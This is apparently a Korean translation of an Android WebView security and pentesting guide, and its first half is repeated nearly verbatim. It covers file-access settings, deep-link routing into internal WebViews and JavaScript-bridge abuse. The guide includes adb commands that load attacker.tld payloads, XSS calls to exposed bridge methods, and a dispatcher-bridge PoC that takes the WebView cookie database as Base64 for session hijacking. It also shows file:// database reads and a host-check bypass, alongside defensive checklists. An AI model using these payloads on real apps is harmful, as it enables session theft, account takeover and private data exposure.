WebView 공격

Reading time: 15 minutes

WebView 구성 및 보안 가이드

WebView 취약점 개요

Android 개발에서 중요한 부분은 WebView를 올바르게 다루는 것입니다. 이 가이드는 WebView 사용과 관련된 위험을 완화하기 위한 주요 구성 및 보안 관행을 강조합니다.

WebView의 파일 액세스

기본적으로 WebView는 파일 액세스를 허용합니다. 이 기능은 Android API 레벨 3(Cupcake 1.5)부터 제공되는 setAllowFileAccess() 메서드로 제어됩니다. android.permission.READ_EXTERNAL_STORAGE 권한이 있는 애플리케이션은 파일 URL 스킴(file://path/to/file)을 사용해 외부 저장소의 파일을 읽을 수 있습니다.

사용 중단된 기능: Universal and File Access From URLs

• Universal Access From File URLs: 이 사용 중단된 기능은 file URL로부터의 cross-origin 요청을 허용하여 잠재적인 XSS 공격으로 인해 심각한 보안 위험을 초래했습니다. Android Jelly Bean 이상을 타깃으로 하는 앱의 기본 설정은 비활성화(false)되어 있습니다.
• 이 설정을 확인하려면 getAllowUniversalAccessFromFileURLs()를 사용하세요.
• 이 설정을 변경하려면 setAllowUniversalAccessFromFileURLs(boolean)를 사용하세요.
• File Access From File URLs: 이 기능 역시 사용 중단되었으며, 다른 file 스킴 URL의 콘텐츠 접근을 제어했습니다. Universal access와 마찬가지로 보안을 향상시키기 위해 기본적으로 비활성화되어 있습니다.
• 확인은 getAllowFileAccessFromFileURLs()로, 설정은 setAllowFileAccessFromFileURLs(boolean)로 합니다.

안전한 파일 로드

파일 시스템 액세스를 비활성화하면서도 assets와 resources에 접근하려면 setAllowFileAccess() 메서드를 사용합니다. Android R 이상에서는 기본 설정이 false입니다.

• getAllowFileAccess()로 확인하세요.
• setAllowFileAccess(boolean)로 활성화/비활성화하세요.

WebViewAssetLoader

WebViewAssetLoader 클래스는 로컬 파일을 로드하기 위한 현대적인 접근 방식입니다. 로컬 assets와 resources 접근에 http(s) URL을 사용하여 Same-Origin 정책에 부합하고 CORS 관리를 용이하게 합니다.

loadUrl

이는 WebView에서 임의의 URL을 로드하는 데 자주 사용되는 함수입니다:

webview.loadUrl("<url here>")

물론, 잠재적인 공격자는 애플리케이션이 로드하려는 URL을 제어하는 것이 절대 있어서는 안 된다.

JavaScript and Intent Scheme 처리

• JavaScript: WebViews에서 기본적으로 비활성화되어 있으며, setJavaScriptEnabled()로 활성화할 수 있다. 적절한 안전장치 없이 JavaScript를 활성화하면 보안 취약점을 초래할 수 있으므로 주의가 필요하다.
• Intent Scheme: WebViews는 intent 스킴을 처리할 수 있으며, 적절히 관리되지 않으면 악용될 수 있다. 예시 취약점으로는 노출된 WebView 파라미터 "support_url"이 있어 이를 악용해 cross-site scripting (XSS) 공격을 실행할 수 있었다.

adb를 사용한 익스플로잇 예:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android는 WebView 내의 JavaScript가 native Android app functions를 호출할 수 있게 하는 기능을 제공합니다. 이는 addJavascriptInterface 메서드를 사용해 JavaScript와 native Android 기능을 통합함으로써 구현되며, 이를 _WebView JavaScript bridge_라고 합니다. 이 메서드는 WebView 내의 모든 페이지가 등록된 JavaScript Interface 객체에 접근할 수 있게 하므로, 이러한 인터페이스를 통해 민감한 정보가 노출될 경우 보안 위험이 발생할 수 있으니 주의해야 합니다.

• Android 4.2 미만을 타깃으로 하는 앱은 악성 JavaScript가 reflection을 악용하여 원격 코드 실행을 허용하는 취약점이 있으므로 각별한 주의가 필요합니다.

JavaScript Bridge 구현

• JavaScript interfaces는 클래스 메서드를 JavaScript에 노출하는 예시와 같이 native 코드와 상호작용할 수 있습니다:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript Bridge는 WebView에 interface를 추가하여 활성화됩니다:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• 예를 들어 XSS 공격을 통한 JavaScript의 잠재적 악용은 노출된 Java 메서드를 호출할 수 있게 한다:

<script>
alert(javascriptBridge.getSecret())
</script>

• 위험을 완화하려면, JavaScript bridge 사용을 APK에 포함된 코드로만 제한하고 원격 소스에서 JavaScript를 로드하지 않도록 하세요. 구형 기기에서는 최소 API level을 17로 설정하세요.

Reflection-based Remote Code Execution (RCE)

• 문서화된 방법으로 특정 페이로드를 실행해 reflection을 통해 RCE를 달성할 수 있습니다. 그러나 @JavascriptInterface annotation은 권한 없는 메서드 접근을 차단하여 공격 표면을 제한합니다.

Remote Debugging

• Remote debugging는 Chrome Developer Tools로 가능하며, 이를 통해 WebView 콘텐츠와 상호작용하고 임의의 JavaScript를 실행할 수 있습니다.

Enabling Remote Debugging

• Remote debugging은 애플리케이션 내 모든 WebViews에 대해 다음과 같이 활성화할 수 있습니다:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• 애플리케이션의 debuggable 상태에 따라 조건부로 debugging을 활성화하려면:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate 임의 파일

• XMLHttpRequest를 사용해 임의 파일을 exfiltrate하는 예:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView 공격

WebView 구성 및 보안 안내

WebView 취약점 개요

Android 개발에서 WebView를 올바르게 처리하는 것은 중요한 부분입니다. 이 가이드는 WebView 사용과 관련된 위험을 완화하기 위한 주요 구성 및 보안 실무를 강조합니다.

WebView의 파일 접근

기본적으로 WebViews는 파일 접근을 허용합니다. 이 기능은 setAllowFileAccess() 메서드로 제어되며, Android API level 3 (Cupcake 1.5) 이후부터 사용 가능합니다. android.permission.READ_EXTERNAL_STORAGE 권한을 가진 애플리케이션은 파일 URL 스킴(file://path/to/file)을 사용하여 외부 저장소의 파일을 읽을 수 있습니다.

Deprecated Features: Universal and File Access From URLs

• Universal Access From File URLs: 이 사용 중단된 기능은 file URL에서 교차 출처 요청을 허용하여 잠재적인 XSS 공격으로 인해 심각한 보안 위험을 초래했습니다. Android Jelly Bean 이상을 대상으로 하는 앱의 기본 설정은 비활성화(false)입니다.
• 이 설정을 확인하려면 getAllowUniversalAccessFromFileURLs()를 사용하세요.
• 이 설정을 변경하려면 setAllowUniversalAccessFromFileURLs(boolean)를 사용하세요.
• File Access From File URLs: 이 기능 역시 사용 중단되었으며 다른 file 스킴 URL의 콘텐츠 접근을 제어했습니다. Universal access와 마찬가지로 보안을 강화하기 위해 기본값은 비활성화되어 있습니다.
• 확인하려면 getAllowFileAccessFromFileURLs()를 사용하고, 설정하려면 setAllowFileAccessFromFileURLs(boolean)를 사용하세요.

보안 파일 로딩

파일 시스템 접근을 비활성화하면서도 assets와 resources에 접근하려면 setAllowFileAccess() 메서드를 사용합니다. Android R 이상에서는 기본 설정이 false입니다.

• 확인은 getAllowFileAccess()로 합니다.
• 활성화 또는 비활성화는 setAllowFileAccess(boolean)로 합니다.

WebViewAssetLoader

WebViewAssetLoader 클래스는 로컬 파일을 로드하기 위한 현대적 접근법입니다. 로컬 assets와 resources에 접근할 때 http(s) URL을 사용하여 Same-Origin policy와 정렬되며, 이로 인해 CORS 관리를 용이하게 합니다.

loadUrl

웹뷰에서 임의의 URL을 로드할 때 자주 사용되는 함수:

webview.loadUrl("<url here>")

물론, 잠재적 attacker는 애플리케이션이 로드할 URL을 제어할 수 있어서는 안 된다.

Deep-linking into internal WebView (custom scheme → WebView sink)

많은 앱이 사용자 제공 URL을 인앱 WebView로 라우팅하는 custom schemes/paths를 등록한다. deep link가 exported (VIEW + BROWSABLE)되어 있으면, attacker는 앱이 WebView context 내에서 임의의 원격 콘텐츠를 렌더링하도록 강제할 수 있다.

일반적인 manifest 패턴(단순화):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

일반적인 코드 흐름(단순화):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

adb를 통한 공격 패턴 및 PoC:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

영향: 원격 페이지가 앱 WebView 컨텍스트에서 실행됩니다 (앱 WebView 프로필의 cookies/session, 노출된 @JavascriptInterface에 대한 접근, 설정에 따라 content:// 및 file://에 대한 잠재적 접근).

Hunting tips:

• Grep 디컴파일된 소스에서 getQueryParameter("url"), loadUrl(, WebView sinks, 및 deep-link handlers (onCreate/onNewIntent)를 검색하세요.
• manifest를 검토하여 VIEW+BROWSABLE 필터 및 이후에 WebView를 시작하는 액티비티에 매핑되는 custom schemes/hosts를 확인하세요.
• 여러 deep-link 경로(예: “external browser” 경로 vs. “internal webview” 경로)가 있는지 확인하고, 앱 내부에서 렌더링되는 경로를 우선하세요.

검증 전에 JavaScript 활성화 (order-of-checks bug)

자주 발생하는 하드닝 실수는 대상 URL의 최종 허용 목록/검증이 완료되기 전에 JavaScript를 활성화하거나 느슨한 WebView 설정을 구성하는 것입니다. 검증이 헬퍼들 간에 일관되지 않거나 너무 늦게 발생하면, 공격자의 deep link는 다음과 같은 상태에 도달할 수 있습니다:

1. WebView 설정이 적용된다(예: setJavaScriptEnabled(true)), 그리고
2. 신뢰되지 않은 URL이 JavaScript가 활성화된 상태로 로드된다.

버그 패턴 (의사코드):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

왜 악용 가능한가

• 정규화 불일치: helpers가 URL을 분할/재구성하는 방식이 최종 검사와 달라 악의적인 URL이 악용할 수 있는 불일치를 만든다.
• 파이프라인 순서 오류: 2단계에서 JS를 활성화하면 WebView 인스턴스 전체에 적용되어, 나중에 검증이 실패하더라도 최종 로드에 영향을 미친다.

테스트 방법

• 초기 검사를 통과해 WebView 구성 지점에 도달하는 deep-link payloads를 제작한다.
• adb를 사용해 implicit VIEW intents를 발송하여 본인이 제어하는 url= 파라미터를 전달한다:

adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

공격이 성공하면, payload가 앱의 WebView에서 JavaScript를 실행합니다. 거기서 노출된 bridges를 조사하세요:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

방어 지침

• 한 번만 정규화(canonicalize)하고 단일 신뢰 출처(scheme/host/path/query)에 대해 엄격히 검증하세요.
• 모든 허용 목록(allowlist) 검사가 통과한 후, 신뢰할 수 있는 콘텐츠를 로드하기 직전에만 setJavaScriptEnabled(true)를 호출하세요.
• 신뢰할 수 없는 출처에 @JavascriptInterface를 노출하지 마세요; 출처별 게이팅(per-origin gating)을 권장합니다.
• 신뢰할 수 있는 콘텐츠와 신뢰할 수 없는 콘텐츠에 대해 각각 별도의 WebView 인스턴스를 사용하는 것을 고려하세요. 기본적으로 JS는 비활성화하세요.

JavaScript and Intent Scheme 처리

• JavaScript: WebView에서는 기본적으로 비활성화되어 있으며 setJavaScriptEnabled()로 활성화할 수 있습니다. 적절한 보호 조치 없이 JavaScript를 활성화하면 보안 취약점이 발생할 수 있으므로 주의하세요.
• Intent Scheme: WebView는 intent 스킴을 처리할 수 있으며, 이를 신중하게 관리하지 않으면 악용으로 이어질 수 있습니다. 예시 취약점에서는 노출된 WebView 파라미터 "support_url"이 XSS 공격을 실행하는 데 악용될 수 있었습니다.

Exploitation example using adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript 브리지

Android는 WebView 내의 JavaScript가 native Android 앱 기능을 호출할 수 있도록 하는 기능을 제공합니다. 이는 addJavascriptInterface 메서드를 사용해 JavaScript와 native Android 기능을 통합함으로써 이루어지며, 이를 _WebView JavaScript bridge_라고 합니다. 이 방법은 WebView 내의 모든 페이지가 등록된 JavaScript Interface 객체에 접근할 수 있게 하므로, 이러한 인터페이스를 통해 민감한 정보가 노출되면 보안 위험이 발생할 수 있으므로 주의가 필요합니다.

• 특별한 주의가 필요합니다. Android 4.2 이하를 대상으로 하는 앱은 reflection을 악용한 악성 JavaScript로 인해 remote code execution이 발생할 수 있는 취약점 때문에 특히 조심해야 합니다.

JavaScript 브리지 구현

• JavaScript interfaces는 클래스 메서드를 JavaScript에 노출하는 예제처럼 native 코드와 상호작용할 수 있습니다:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript Bridge는 WebView에 interface를 추가하여 활성화됩니다:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• JavaScript를 통한 잠재적 악용(예: XSS attack)은 노출된 Java 메서드의 호출을 가능하게 합니다:

<script>
alert(javascriptBridge.getSecret())
</script>

• 위험을 완화하려면, restrict JavaScript bridge usage 를 APK에 포함된 코드로 제한하고 원격 소스에서 JavaScript를 로드하지 못하도록 하세요. 구형 기기에서는 최소 API level을 17로 설정하세요.

dispatcher-style JS bridges (invokeMethod/handlerName) 악용

일반적인 패턴은 하나의 노출된 메서드(예: @JavascriptInterface void invokeMethod(String json))가 공격자가 제어하는 JSON을 일반 객체로 역직렬화한 뒤, 제공된 handler name을 기준으로 분기하는 것입니다. 일반적인 JSON 형태:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risk: 등록된 핸들러가 공격자 데이터에 대해 권한 있는 작업(예: 직접 파일 읽기)을 수행하는 경우, handlerName을 적절히 설정해 해당 핸들러를 호출할 수 있습니다. 결과는 보통 페이지 컨텍스트로 evaluateJavascript와 callbackId로 키가 지정된 콜백/Promise 메커니즘을 통해 반환됩니다.

Key hunting steps

• addJavascriptInterface(를 디컴파일하고 grep하여 브리지 객체 이름(e.g., xbridge)을 확인하세요.
• Chrome DevTools (chrome://inspect)에서 Console에 브리지 객체 이름(e.g., xbridge)을 입력해 노출된 필드/메서드를 열거하세요; invokeMethod와 같은 일반 디스패처를 찾으세요.
• getModuleName()을 구현하거나 등록 맵을 사용하는 클래스를 검색해 핸들러를 열거하세요.

Arbitrary file read via URI → File sinks (Base64 exfiltration)

핸들러가 URI를 받아 Uri.parse(req.getUri()).getPath()를 호출하고 new File(...)을 생성해 허용 목록(allowlists)이나 샌드박스 검사 없이 파일을 읽는다면, 앱 샌드박스 내에서 arbitrary file read가 발생하며 이는 setAllowFileAccess(false)와 같은 WebView 설정을 우회합니다(읽기는 네이티브 코드에서 발생하며 WebView 네트워크 스택을 통하지 않습니다).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notes

• Cookie DB 경로는 기기/제공업체에 따라 다릅니다. 일반적인 경로:
• file:///data/data/<pkg>/app_webview/Default/Cookies
• file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
• 핸들러는 Base64를 반환합니다; 디코딩하면 쿠키를 복구하고 앱의 WebView 프로필에서 사용자를 사칭할 수 있습니다.

Detection tips

• 앱을 사용할 때 evaluateJavascript를 통해 반환되는 큰 Base64 문자열을 주시하세요.
• Grep을 사용해 역컴파일된 소스에서 uri/path를 받아 new File(...)로 변환하는 핸들러를 검색하세요.

Bypassing WebView privilege gates – endsWith() host checks

Privilege decisions (selecting a JSB-enabled Activity) often rely on host allowlists. A flawed pattern is:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

등가 논리 (드모르간의 법칙):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

이것은 origin 체크가 아닙니다. 많은 의도하지 않은 호스트가 두 번째 조건을 만족시켜 신뢰할 수 없는 도메인이 권한 있는 Activity로 들어오게 합니다. 항상 scheme과 host를 엄격한 allowlist(정확한 일치 또는 점(.) 경계가 있는 올바른 서브도메인 검사)와 대조 검증해야 하며, endsWith 트릭을 사용하면 안 됩니다.

javascript:// execution primitive via loadUrl

권한 있는 WebView 내부에 들어가면, 앱은 때때로 inline JS를 다음과 같이 실행합니다:

webView.loadUrl("javascript:" + jsPayload);

If an internal flow triggers loadUrl("javascript:...") in that context, injected JS executes with bridge access even if the external page wouldn’t normally be allowed. Pentest steps:

• 앱에서 loadUrl("javascript: 와 evaluateJavascript( 를 grep 하세요.
• 권한 있는 WebView로 강제 네비게이션한 후(예: via a permissive deep link chooser) 해당 코드 경로에 도달해 보세요.
• 프리미티브를 사용해 디스패처(xbridge.invokeMethod(...))를 호출하고 민감한 핸들러에 도달하세요.

Mitigations (developer checklist)

• 권한 있는 Activities에 대해 엄격한 origin 검증: canonicalize하고 scheme/host를 명시적 allowlist와 비교하세요; endsWith 기반 검증을 피하세요. 적용 가능하면 Digital Asset Links를 고려하세요.
• 브리지를 신뢰된 페이지만으로 범위 제한하고, 호출마다 신뢰를 다시 확인하세요(Per-call authorization).
• 파일시스템 접근이 가능한 핸들러는 제거하거나 엄격히 보호하세요; 원시 file:// 경로 대신 allowlists/권한을 가진 content:// 사용을 권장합니다.
• 권한 있는 컨텍스트에서 loadUrl("javascript:") 사용을 피하거나 강력한 검사 뒤에 두세요.
• setAllowFileAccess(false)가 브리지를 통한 네이티브 파일 읽기로부터 보호하지 않는다는 점을 기억하세요.

JSB enumeration and debugging tips

• Chrome DevTools Console 사용을 위해 WebView 원격 디버깅을 활성화하세요:
• App-side (debug builds): WebView.setWebContentsDebuggingEnabled(true)
• System-side: modules like LSPosed or Frida scripts로 릴리스 빌드에서도 디버깅을 강제로 활성화할 수 있습니다. Cordova WebViews용 예시 Frida 스니펫: cordova enable webview debugging
• DevTools에서 브리지 객체 이름(예: xbridge)을 입력하면 노출된 멤버를 확인하고 디스패처를 탐색할 수 있습니다.

Reflection-based Remote Code Execution (RCE)

• 문서화된 방법으로 특정 페이로드를 실행해 리플렉션을 통한 RCE를 달성할 수 있습니다. 그러나 @JavascriptInterface 어노테이션은 무단 메서드 접근을 방지해 공격 표면을 제한합니다.

Remote Debugging

• Remote debugging는 Chrome Developer Tools로 가능하며, WebView 콘텐츠 내에서 상호작용과 임의 JavaScript 실행을 허용합니다.

Enabling Remote Debugging

• Remote debugging can be enabled for all WebViews within an application by:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• 애플리케이션의 debuggable 상태에 따라 debugging을 조건부로 활성화하려면:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate 임의의 파일

• XMLHttpRequest를 사용하여 임의의 파일의 exfiltration을 시연합니다:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

참고자료

• Android WebViews 파일 접근 공격 벡터 검토
• WheresMyBrowser.Android (데모 앱)
• Android WebView 참조
• Deep Links & WebViews Exploitations – Part II
• Deep Links & WebViews Exploitations – Part I
• Samsung S24 익스플로잇 체인 Pwn2Own 2024 워크스루
• Pwn2Own Ireland 2024 – Samsung S24 공격 체인 (백서)
• 시연 동영상
• Android 앱에서 JSB를 통한 계정 탈취 – tuxplorer.com
• LSPosed – systemless Xposed 프레임워크
• Frida codeshare: Cordova – WebView 디버깅 활성화